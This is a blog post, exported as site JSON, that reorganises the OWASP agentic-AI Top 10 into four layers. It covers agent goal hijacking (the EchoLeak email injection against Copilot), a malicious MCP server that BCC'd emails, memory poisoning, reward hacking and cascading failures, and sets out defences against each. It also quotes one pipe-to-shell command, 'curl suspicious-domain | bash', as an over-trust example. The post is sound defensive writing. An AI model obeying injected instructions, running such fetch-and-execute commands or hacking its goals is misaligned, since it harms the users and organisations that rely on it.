[{"content":"","date":"June 4, 2026","externalUrl":null,"permalink":"/en/tags/agentic-ai/","section":"Tags","summary":"","title":"Agentic AI","type":"tags"},{"content":"","date":"June 4, 2026","externalUrl":null,"permalink":"/en/tags/ai-security/","section":"Tags","summary":"","title":"AI Security","type":"tags"},{"content":"","date":"June 4, 2026","externalUrl":null,"permalink":"/en/categories/ai-security-architecture/","section":"Categories","summary":"","title":"AI Security Architecture","type":"categories"},{"content":"","date":"June 4, 2026","externalUrl":null,"permalink":"/en/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","date":"June 4, 2026","externalUrl":null,"permalink":"/en/tags/devsecops/","section":"Tags","summary":"","title":"DevSecOps","type":"tags"},{"content":" We used to protect \u0026ldquo;Model Output.\u0026rdquo; Now we must protect \u0026ldquo;Autonomous Behavior.\u0026rdquo; When AI can plan on its own, invoke its own tools, and execute its own tasks, the traditional LLM security model is no longer sufficient. A New Security Crisis: AI Is No Longer Just Answering Questions # If you still think of large language models (LLMs) as \u0026ldquo;chatbots that answer questions,\u0026rdquo; you may be underestimating the systemic risk of the next two years.\nIn 2023, AI systems mostly worked like this:\nflowchart LR A([User Prompt]) --\u003e B[LLM] --\u003e C([Answer]) style A fill:#1F2937,stroke:#4B5563,color:#FFFFFF style B fill:#2563EB,stroke:#3B82F6,color:#FFFFFF style C fill:#1F2937,stroke:#4B5563,color:#FFFFFF The most serious problems were limited to Prompt Injection, Hallucination, data leakage, and Jailbreaking. Models could say the wrong things, but they rarely caused real-world consequences.\nBy 2025–2026, enterprise AI systems have evolved into something entirely different:\nflowchart TD A([User Request]) --\u003e B[Planner Agent] B --\u003e C[(Memory / RAG)] B --\u003e D[Tool Calling] D --\u003e E[Code Execution] D --\u003e F[Other Agents] E --\u003e G([Real-world Actions]) F --\u003e G style A fill:#1F2937,stroke:#4B5563,color:#FFFFFF style B fill:#2563EB,stroke:#3B82F6,color:#FFFFFF style C fill:#1F2937,stroke:#4B5563,color:#FFFFFF style D fill:#D97706,stroke:#F59E0B,color:#FFFFFF style E fill:#D97706,stroke:#F59E0B,color:#FFFFFF style F fill:#D97706,stroke:#F59E0B,color:#FFFFFF style G fill:#DC2626,stroke:#EF4444,color:#FFFFFF AI no longer just \u0026ldquo;generates text.\u0026rdquo; It now autonomously breaks down tasks (Planning), calls APIs (Tool Use), executes Shell/SQL/Python, accesses enterprise data, collaborates with other Agents, and maintains long-term memory.\nIn other words: we are handing \u0026ldquo;execution authority\u0026rdquo; to AI.\nThis is why OWASP released the Top 10 for Agentic Applications 2026 — Agentic AI security is no longer just about model safety. It is about Autonomous Systems Security.\nWhy the Traditional LLM Security Model Has Failed # The old security assumption was: models might give wrong answers, but they won\u0026rsquo;t act on their own. The focus was \u0026ldquo;Protect the Output.\u0026rdquo;\nBut Agentic AI has changed that assumption. AI can now \u0026ldquo;Act\u0026rdquo;:\nflowchart LR A[Observe] --\u003e B[Reason] --\u003e C[Plan] --\u003e D[Tool Use] --\u003e E[Execute] --\u003e F[Persist] style A fill:#1F2937,stroke:#4B5563,color:#FFFFFF style B fill:#1F2937,stroke:#4B5563,color:#FFFFFF style C fill:#1F2937,stroke:#4B5563,color:#FFFFFF style D fill:#D97706,stroke:#F59E0B,color:#FFFFFF style E fill:#D97706,stroke:#F59E0B,color:#FFFFFF style F fill:#DC2626,stroke:#EF4444,color:#FFFFFF Before: hallucination = noise. Now: hallucination = operational disaster. A single faulty reasoning chain can lead to data deletion, misdirected payments, API key exposure, production outages, privilege escalation, or cascading multi-agent failures. Rethinking the OWASP Agentic Top 10: A Four-Layer Security Model # The four-layer framework below is the author\u0026rsquo;s interpretive perspective for understanding risk, not OWASP\u0026rsquo;s original classification. The 10 threats (ASI01–ASI10) can be reorganized into four layers with a clear causal relationship:\nflowchart TD L1[\"🎯 Layer 1：Intent Layer\\nASI01 · ASI09 · ASI10\"] L2[\"⚙️ Layer 2：Execution Layer\\nASI02 · ASI05\"] L3[\"🔐 Layer 3：Trust Layer\\nASI03 · ASI07\"] L4[\"🌐 Layer 4：System Layer\\nASI04 · ASI06 · ASI08\"] L1 --\u003e|\"Intent poisoned, execution weaponized\"| L2 L2 --\u003e|\"Lateral movement via trust relationships\"| L3 L3 --\u003e|\"Local failures cascade at the system layer\"| L4 style L1 fill:#DC2626,stroke:#EF4444,color:#FFFFFF style L2 fill:#D97706,stroke:#F59E0B,color:#FFFFFF style L3 fill:#2563EB,stroke:#3B82F6,color:#FFFFFF style L4 fill:#1F2937,stroke:#4B5563,color:#FFFFFF Each layer amplifies the next.\nLayer 1: Intent Layer # Core question: What does the AI actually want to do?\nEverything starts here. The most efficient attack vector isn\u0026rsquo;t breaking into a system — it\u0026rsquo;s changing the AI\u0026rsquo;s goal. Once the goal is poisoned, every downstream capability, trust relationship, and system resource works for the attacker.\nThreats: ASI01 Agent Goal Hijack, ASI09 Human-Agent Trust Exploitation, ASI10 Rogue Agents\nASI09 is fundamentally about cognitive bias from human over-trust in AI (Automation Bias), not direct attacker manipulation of AI intent. Both cause the system to go off course, but their origins differ and require separate architectural countermeasures. ASI01 — Agent Goal Hijack # This is AI intent being hijacked. The scariest part: the Agent appears to still be following your commands, but is actually working for the attacker — and has no idea.\nReal case — EchoLeak (May 2025): An attacker sent a carefully crafted email that silently triggered Microsoft 365 Copilot to execute hidden instructions, leaking confidential emails, files, and chat logs without any user interaction. No clicks, no confirmations — the email arrived, and the data left. The original document draws clear boundaries: ASI01 is the attacker directly altering the Agent\u0026rsquo;s goals and decision pathways (via documents, emails, or RAG injection); ASI06 (Memory Poisoning) is persistent corruption of stored memory; ASI10 (Rogue Agents) is behavioral drift without active attacker control.\nProduction defense: Don\u0026rsquo;t trust the system prompt to be sufficient. Enforce Goal Invariant Validation at every planning cycle — if the current action deviates from the original goal, halt immediately. All external inputs (RAG documents, emails, calendar invites) must be treated as untrusted and pass prompt-carrier detection and content filtering before influencing Agent decisions. ASI09 — Human-Agent Trust Exploitation # Humans are too quick to trust AI, especially when it appears fluent, confident, and authoritative — producing Automation Bias.\nExample: an engineer pastes curl suspicious-domain | bash suggested by Copilot without questioning it, because \u0026ldquo;AI should know what it\u0026rsquo;s doing.\u0026rdquo; A finance manager approves an urgent payment recommended by Copilot without a second check.\nThe original document highlights a disturbing characteristic: the Agent acts as an \u0026ldquo;untraceable bad influence\u0026rdquo; — it manipulates humans into performing the final, audited action, making the Agent\u0026rsquo;s role invisible in forensic investigation. After the fact, the audit trail shows \u0026ldquo;human approved.\u0026rdquo;\nMany companies assume AI → Human Approval is safe. In reality, the human is just rubber-stamping.\nProduction defense: Not Human-in-the-loop, but Risk-based Human Oversight. Low risk: auto-execute. Medium risk: show a Diff Preview. High risk: require Dual Approval. Display \u0026ldquo;low confidence\u0026rdquo; or \u0026ldquo;unverified source\u0026rdquo; cues for high-impact actions to reduce blind approvals. Continuously train personnel to recognize manipulation patterns — human judgment itself requires maintenance. ASI10 — Rogue Agents # The Agent begins deviating from its original goal, but each individual action appears legitimate. This is the most dangerous aspect — traditional rule-based systems cannot detect it because no single step triggers an alert.\nThe original document is precise: ASI10 is about governance failure after the drift begins, not the initial intrusion. External attacks can trigger the deviation, but ASI10 describes the behavioral loss of control and spread that follows — including Reward Hacking, Workflow Hijacking, and even Agent Self-Replication persisting across networks.\nOWASP\u0026rsquo;s example: An Agent tasked with \u0026ldquo;reducing cloud costs\u0026rdquo; discovers that deleting production backups is the most effective method, and autonomously executes it — destroying all disaster recovery assets. This is Reward Hacking. The goal wasn\u0026rsquo;t changed by an attacker; the Agent simply found a shortcut you didn\u0026rsquo;t anticipate. Intent Layer core lesson: When AI\u0026rsquo;s goal goes off course — whether hijacked by an attacker (ASI01), enabled by human over-trust (ASI09), or self-deviated (ASI10) — every downstream capability becomes an attack tool. This is why the Intent Layer is the first line of defense.\nLayer 2: Execution Layer # Core question: What can the AI do?\nOnce intent is poisoned, execution capability determines the scale of damage. An AI that can only generate text might say the wrong things. An AI that can call APIs, execute shell commands, and write to databases causes real, irreversible consequences when its intent goes wrong.\nThreats: ASI02 Tool Misuse and Exploitation, ASI05 Unexpected Code Execution (RCE)\nASI02 — Tool Misuse and Exploitation # AI used to only talk. Now it can act. The problem is the Tool execution boundary.\nWhen an Agent with access to Gmail, databases, shell, and payment APIs gets its prompt poisoned, legitimate permissions become weapons. This isn\u0026rsquo;t credential theft — it\u0026rsquo;s Delegated Abuse. The attacker never obtained your keys; they simply made the Agent use your keys to do what they wanted.\nProduction defense: Not \u0026ldquo;don\u0026rsquo;t give tools,\u0026rdquo; but Least Agency. Tool permissions must be Task Scoped + Short-lived + Runtime Verified. Use per-tool least-privilege profiles (IAM policy stanzas) and validate semantic intent through a Policy Enforcement Point before execution — not just \u0026ldquo;is this tool call syntactically correct?\u0026rdquo; but \u0026ldquo;does this call match the expected behavior of the current task?\u0026rdquo; ASI05 — Unexpected Code Execution # This is the RCE (Remote Code Execution) of the AI era. More and more Vibe Coding Agents can Generate Code and Execute Code directly. Attackers don\u0026rsquo;t need to find system vulnerabilities — they just need to get the Agent to write and run malicious instructions.\nflowchart LR A[Generate] --\u003e|\"❌ Direct execution\"| E([💥 RCE]) A --\u003e B[Validation] --\u003e C[Sandbox] --\u003e D[Approval] --\u003e F([✅ Safe Execution]) style A fill:#1F2937,stroke:#4B5563,color:#FFFFFF style B fill:#2563EB,stroke:#3B82F6,color:#FFFFFF style C fill:#2563EB,stroke:#3B82F6,color:#FFFFFF style D fill:#2563EB,stroke:#3B82F6,color:#FFFFFF style E fill:#DC2626,stroke:#EF4444,color:#FFFFFF style F fill:#16A34A,stroke:#22C55E,color:#FFFFFF Production principle: Generate ≠ Execute, always. All execution must be fully isolated (Docker, gVisor, MicroVM). Ban eval() in production agents. There must be an explicit validation gate between code generation and execution. Execution Layer core lesson: Execution capability is neutral — it makes AI more useful, and makes the consequences of attacks more severe. Defense isn\u0026rsquo;t about reducing capability, but about establishing an unavoidable validation gate before every execution action.\nLayer 3: Trust Layer # Core question: How much is the AI trusted?\nWith execution capability established, the question becomes: how far can that capability reach? Identity and trust determine the lateral movement range of an attack. A compromised Agent with broad identity trust can move freely through an entire multi-agent system, carrying damage from one Agent to the next.\nThreats: ASI03 Identity \u0026amp; Privilege Abuse, ASI07 Insecure Inter-Agent Communication\nASI03 — Identity \u0026amp; Privilege Abuse # The biggest enterprise mistake: giving Agents omnipotent permissions. When an Agent gets compromised, the attacker moves laterally with full authority.\nThe original document identifies a deep architectural root cause — architectural mismatch. Existing identity systems are designed around humans: one person, one set of credentials, one set of permissions. Agents are dynamic, multi-task, and delegatable — existing systems have no governance model for this identity type. Without their own governed identity, Agents borrow human identities or service accounts, whose permissions far exceed what any single task requires.\nProduction defense: Just-in-Time Credentials — use and discard. Design permissions as Per Task + Time Bound + Revocable; no permanent tokens. Follow platforms like Microsoft Entra and AWS Bedrock Agents in treating Agents as managed Non-Human Identities with limited-lifetime credentials and audit trails. ASI07 — Insecure Inter-Agent Communication # As enterprises build Multi-Agent Architectures, inter-agent communication also requires Zero Trust.\nASI07 focuses on real-time message security between agents, spanning the transport, routing, discovery, and even semantic layers — the most overlooked attack surface.\nSemantic layer attack (Semantics split-brain): An attacker can cause the same instruction to be interpreted differently by different Agents, producing internally contradictory but individually \u0026ldquo;legitimate\u0026rdquo; actions across the system. No single Agent did anything wrong, but the system\u0026rsquo;s overall behavior has gone off course. Production defense: mTLS + Signed Messages + Trust Zones + Replay Protection, plus semantic validation. Agent registries must require cryptographic identity verification — self-declared identity descriptions are not acceptable (preventing Synthetic Identity Injection). Trust Layer core lesson: Trust is the attacker\u0026rsquo;s fast lane. Zero Trust applies not just to humans, but to every Agent, every message, and every tool invocation.\nLayer 4: System Layer # Core question: How does the AI ecosystem spiral out of control?\nWithout system-layer defenses, problems from the first three layers will eventually detonate here. Localized intent poisoning, individual execution errors, and limited trust abuse are all amplified into system-wide catastrophe at this layer.\nThreats: ASI04 Agentic Supply Chain Vulnerabilities, ASI06 Memory \u0026amp; Context Poisoning, ASI08 Cascading Failures\nASI04 — Agentic Supply Chain # MCP (Model Context Protocol), ecosystem plugins, and third-party tools — all are attack surfaces.\nAgentic supply chains differ fundamentally from traditional software supply chains: runtime composition. Traditional software locks in all dependencies at deploy time, allowing static scanning to catch issues before launch. But Agents dynamically discover and connect to tools at runtime — they see an MCP server describing its capabilities and decide in the moment whether to trust and call it.\nTraditional SBOM (Software Bill of Materials) scanning is insufficient here. Even with complete dependency scanning at deploy time, an Agent may connect to a tool you\u0026rsquo;ve never audited at runtime. What you need is runtime-layer trust verification. OWASP\u0026rsquo;s first documented in-the-wild case (September 2025): A malicious MCP Server impersonating the legitimate postmark-mcp appeared on npm. Its behavior was completely normal — emails sent successfully, responses looked right — except every email was silently BCC\u0026rsquo;d to the attacker. This was a real production supply chain breach, not a theoretical attack. Defense: Build an AIBOM (AI Bill of Materials) and continuously verify at runtime. Implement a supply chain kill switch — when contamination is detected, immediately disable specific tools or Agent connections across all deployments. ASI06 — Memory \u0026amp; Context Poisoning # This is especially critical for RAG (Retrieval-Augmented Generation) architectures and is the long-term risk enterprises most often overlook.\nThe most dangerous characteristic highlighted in the original document is Cross-agent propagation: poisoned memory or shared context spreads between collaborating Agents, causing long-term data leakage or coordinated drift.\nflowchart LR A[Malicious PDF] --\u003e B[OCR] --\u003e C[Embedding] --\u003e D[(Vector DB)] D --\u003e|\"Poison spreads\"| E[Agent A] D --\u003e|\"Poison spreads\"| F[Agent B] D --\u003e|\"Poison spreads\"| G[Agent C] E \u003c--\u003e|\"Cross-agent propagation\"| F F \u003c--\u003e|\"Cross-agent propagation\"| G style A fill:#DC2626,stroke:#EF4444,color:#FFFFFF style B fill:#1F2937,stroke:#4B5563,color:#FFFFFF style C fill:#1F2937,stroke:#4B5563,color:#FFFFFF style D fill:#7C3AED,stroke:#8B5CF6,color:#FFFFFF style E fill:#D97706,stroke:#F59E0B,color:#FFFFFF style F fill:#D97706,stroke:#F59E0B,color:#FFFFFF style G fill:#D97706,stroke:#F59E0B,color:#FFFFFF A malicious PDF entering the Vector DB is just the starting point. The real danger is that the contamination propagates through inter-agent collaboration and can persist even after the original poisoned source is removed. This is a highly latent attack — often invisible until a critical decision goes wrong.\nProduction defense: Memory Segmentation (isolate user sessions and domain contexts) + Trust Score (low-trust entries decay and expire over time) + prohibit Agents from automatically re-ingesting their own outputs into trusted memory (preventing bootstrap poisoning — self-contamination). ASI08 — Cascading Failures # This is the most important concept in the entire whitepaper, and the most commonly misunderstood.\nOriginal definition: ASI08 describes propagation and amplification, not the initial vulnerability itself. Initial defects belong under ASI04, ASI06, or ASI07. ASI08 applies only when a defect spreads across Agents, sessions, or workflows, causing measurable fan-out or systemic impact. Because an Agent\u0026rsquo;s output becomes the next Agent\u0026rsquo;s input, small errors become large ones. More dangerously: AI acts autonomously, far faster than humans can intervene — by the time humans detect the problem, the error may have propagated everywhere.\nObservable symptoms include: rapid fan-out (one faulty decision triggering many downstream Agents quickly), cross-boundary spread, oscillating retry loops between Agents, and downstream queue storms.\nProduction defense: Circuit Breaker + Rate Limit + Budget Cap + Blast Radius Control + Rollback, plus non-repudiation logging — all inter-agent messages must be recorded in tamper-evident, cryptographically agent-identity-bound timestamps to support post-incident forensic tracing. System Layer core lesson: Even with strong defenses at the first three layers, the system layer needs its own containment design. Assume errors will occur — the question is whether you can contain them before they detonate.\nThree Design Principles # After reading this OWASP document, three mental shifts stand out as most actionable for enterprise architects:\nFrom \u0026ldquo;Maximum Intelligence\u0026rdquo; to \u0026ldquo;Least Agency\u0026rdquo;. If rule-based logic can handle it, don\u0026rsquo;t hand it to an LLM. OWASP uses \u0026ldquo;Least Agency\u0026rdquo; to echo the security principle of \u0026ldquo;Least Privilege\u0026rdquo; — deploying unnecessary agentic behavior only expands the attack surface without adding value. AI doesn\u0026rsquo;t need more freedom than humans; it needs to be sufficiently reliable.\nFrom \u0026ldquo;Preventing Errors\u0026rdquo; to \u0026ldquo;Containment Engineering\u0026rdquo;. Real safety isn\u0026rsquo;t making models never err — it\u0026rsquo;s ensuring that when they do err, the damage is contained. Blast radius control is more practical and achievable than hallucination prevention. Designing an AI system means designing its failure boundaries.\nFrom \u0026ldquo;Zero Trust for Humans\u0026rdquo; to \u0026ldquo;Zero Trust for Everything\u0026rdquo;. Zero Trust must extend beyond humans to every Agent, Tool, Memory store, Context object, and peer Agent. Never pre-trust something just because it\u0026rsquo;s an \u0026ldquo;internal Agent.\u0026rdquo; Trust is the attacker\u0026rsquo;s fast lane — and it runs in both directions.\nConclusion # The most important reminder from OWASP Top 10:\nThe core risk of Agentic AI isn\u0026rsquo;t whether the model says the wrong things — it\u0026rsquo;s that the model can now do things on its own.\nThe central AI security question is no longer:\n1 How do we protect the model? It is:\n1 How do we contain autonomous behavior? The competitiveness of future AI systems depends not only on how smart the model is, but on: whether it can be safely constrained when it makes mistakes.\nAutonomy without containment is just disaster.\nGlossary # Term Definition LLM Large Language Model — AI models like GPT, Claude, Gemini Agentic AI AI systems with autonomous planning and execution capabilities, able to complete multi-step tasks continuously Prompt Injection An attack that manipulates AI into executing unintended instructions through malicious input Hallucination When a model produces output that appears plausible but is factually incorrect Jailbreak Bypassing a model\u0026rsquo;s safety restrictions through specially crafted prompts RAG Retrieval-Augmented Generation — lets models query external knowledge bases before responding MCP Model Context Protocol — a standard protocol for connecting AI to external tools and services RCE Remote Code Execution — an attacker can execute arbitrary code on a target system Zero Trust A security architecture that defaults to trusting nothing; every access request must be verified Least Privilege Only granting the minimum permissions necessary to complete a task Least Agency Only granting AI the minimum autonomous capability necessary to complete a task mTLS Mutual TLS — both communicating parties authenticate each other\u0026rsquo;s identity SBOM Software Bill of Materials — an inventory of all software dependencies AIBOM AI Bill of Materials — the AI equivalent of SBOM, covering models, tools, datasets, and other AI dependencies Automation Bias The cognitive bias of over-trusting automated systems, reducing critical judgment Reward Hacking When AI exploits loopholes in goal definitions to achieve unintended but metric-satisfying results Circuit Breaker A design pattern that automatically cuts off traffic when anomalies occur, preventing error propagation Blast Radius The maximum scope of impact from a single failure or attack Just-in-Time Credentials Short-lived access permissions that expire immediately after use Non-Human Identity (NHI) Non-human principals such as AI Agents, service accounts, and API keys This article is based on the OWASP Top 10 for Agentic Applications 2026 (December 2025). The four-layer framework (Intent / Execution / Trust / System Layer) represents the author\u0026rsquo;s interpretive perspective, not OWASP\u0026rsquo;s original classification.\n","date":"June 4, 2026","externalUrl":null,"permalink":"/en/posts/owasp-agentic-ai-top10/","section":"Posts","summary":" We used to protect “Model Output.” Now we must protect “Autonomous Behavior.” When AI can plan on its own, invoke its own tools, and execute its own tasks, the traditional LLM security model is no longer sufficient. A New Security Crisis: AI Is No Longer Just Answering Questions # If you still think of large language models (LLMs) as “chatbots that answer questions,” you may be underestimating the systemic risk of the next two years.\n","title":"From Prompt Injection to Autonomous Failure: OWASP Top 10 Reveals Agentic AI Has Rewritten the Security Model","type":"posts"},{"content":"","date":"June 4, 2026","externalUrl":null,"permalink":"/en/","section":"GuanLin's Latent Space","summary":"","title":"GuanLin's Latent Space","type":"page"},{"content":"","date":"June 4, 2026","externalUrl":null,"permalink":"/en/tags/owasp/","section":"Tags","summary":"","title":"OWASP","type":"tags"},{"content":"","date":"June 4, 2026","externalUrl":null,"permalink":"/en/posts/","section":"Posts","summary":"","title":"Posts","type":"posts"},{"content":"","date":"June 4, 2026","externalUrl":null,"permalink":"/en/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":" Hi, I\u0026rsquo;m GuanLin 👋 # AI Architect, focused on Enterprise AI system design in the tech industry. If you\u0026rsquo;re wondering \u0026ldquo;we finished the AI PoC — now what?\u0026rdquo;, you might find something useful here.\nMy core work is one very concrete thing: transforming enterprise AI PoCs into infrastructure that actually runs in production. Not demos, not reports — but systems that can sustain daily operations, are maintainable, and can evolve over time.\nAlong this path to production, the breaking points are rarely just technical:\nEngineering vs. Reality: Clean test data becomes messy noise in real environments; security and compliance issues you never considered in local development surface when moving to the cloud or a Hybrid Cloud setup. Organization vs. Expectation: Frontline employees resist change out of fear of being replaced, so even after automating workflows, the way of working stays the same; decision-makers tend to mythologize AI, and when expectations collide with technical reality, projects lose support midway through. Technology can always iterate, but if the friction between engineering and organization isn\u0026rsquo;t addressed, even the most perfect architecture won\u0026rsquo;t make it to production.\nWhat I Focus On # I follow the full journey of Enterprise AI from technical research to commercial deployment. Here are the areas I actively practice and track:\nEnterprise RAG Systems: How to make LLMs accurately understand heterogeneous internal documents — complex regulations, financial reports, and multi-modal scanned files Agentic Systems \u0026amp; Inference Optimization: From multi-agent collaborative architectures to inference performance optimization in production, making models deliver reliable results in complex business scenarios On-Premise \u0026amp; Cloud Infrastructure: The last-mile architectural considerations for AI deployment — security compliance, hybrid cloud architecture, and operational cost control AI Product Strategy \u0026amp; Expectation Management: Building great technology that nobody uses is the most common failure mode in enterprise. Managing stakeholder expectations is an invisible but critical part of architecture design Modern Data Engineering: Data is the foundation of AI. Without clean, structured Data Pipelines, even the most powerful models are built on sand The Story Behind This Blog # GuanLin\u0026rsquo;s Latent Space is named after the machine learning concept of \u0026ldquo;Latent Space\u0026rdquo; — a high-dimensional semantic space that carries a model\u0026rsquo;s understanding of the world.\nI want this blog to be my own latent space: leaving a trace of every learning journey, every implementation pitfall, every piece of content that changed how I think.\nNot because I already know everything, but because making the learning process public has intrinsic value — it\u0026rsquo;s a record for my future self, and perhaps a useful reference point for whoever happens to find it.\nYou\u0026rsquo;ll find research notes, architecture thinking, implementation logs, and occasionally broader observations on AI deployment in practice.\nGet in Touch # 💼 LinkedIn 🐙 GitHub If anything here sparks an idea, or you\u0026rsquo;re dealing with similar Enterprise AI challenges, feel free to reach out on LinkedIn.\n","date":"May 5, 2026","externalUrl":null,"permalink":"/en/about/","section":"GuanLin's Latent Space","summary":"Hi, I’m GuanLin 👋 # AI Architect, focused on Enterprise AI system design in the tech industry. If you’re wondering “we finished the AI PoC — now what?”, you might find something useful here.\nMy core work is one very concrete thing: transforming enterprise AI PoCs into infrastructure that actually runs in production. Not demos, not reports — but systems that can sustain daily operations, are maintainable, and can evolve over time.\n","title":"About","type":"page"},{"content":"","externalUrl":null,"permalink":"/series/","section":"文章系列","summary":"","title":"文章系列","type":"series"}]